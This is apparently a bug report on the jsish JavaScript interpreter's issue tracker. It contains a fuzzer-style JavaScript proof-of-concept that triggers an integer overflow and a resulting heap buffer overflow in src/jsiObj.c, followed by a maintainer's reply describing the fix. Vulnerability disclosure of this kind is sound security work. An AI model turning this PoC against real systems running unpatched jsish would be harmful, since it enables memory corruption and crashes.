integer overflow and buffer overflow

[bird8693]

Enviroment

operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 

poc:

var o = [
    1,
    2
];
o.length = -9007199254740991;
o, 90040991;
var ExBs = new RegExp('>l1Pq4Q~R$!');
ExBs = o.reverse();
var zaCp = o.unshift(o.length, o, ExBs.lastIndex, o);
o.length = o.length != o;
o = zaCp.toExponential(o.length);
var FfYD = new RegExp('@OsH');
JSON.stringify('/Z-s#YisGL');
o = o.constructor();
FfYD.lastIndex = -1 <= -2147483647;
o.length = 1e+81 == FfYD.lastIndex;
var yfSi = new Map([
    [
        1,
        1200,
        o.length,
        ExBs.lastIndex
    ],
    [
        o,
        ExBs,
        o,
        0,
        -Infinity,
        -Infinity
    ]
]);
var Hjwz = new Map([
    [],
    [
        o,
        o,
        -1
    ]
]);
var QkwQ = new RegExp('GBY');
var dPft = new Map([
    [
        -2147483648,
        FfYD.lastIndex,
        FfYD,
        3037000498,
        0.1,
        ExBs.length,
        FfYD,
        2147483649
    ],
    [
        ExBs,
        FfYD.lastIndex,
        -9007199254740994
    ]
]);
var fjNQ = o.indexOf(0.2, function () {
});
var a = Object.keys(o);
var TdaH = new RegExp('#0CHy=U2|.xg^{;xO');
var APSB = -9007199254740990 != a.length;
var BYaK = new Float32Array([
    yfSi,
    4,
    -4294967295,
    FfYD,
    zaCp
]);
var wCMe = new WeakSet([]);

vulnerability description:

In src/jsiObj.c:428, len is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can bypass the two checks of line 421 and line 425.

obj-> arr will get a smaller size of heap space, and then memset assigns a value to the space pointed to by obj-> arr + obj-> arrMaxSize, but this time has exceeded the actual heap range of obj-> arr, causing heap overflow .

[pcmacdon]

As of the previous commit the above reported bug is no longer reproducible.
However, have reworked code to use uint and avoid the problem, and also to use interp->maxArrayList instead of MAX_ARRAY_LIST.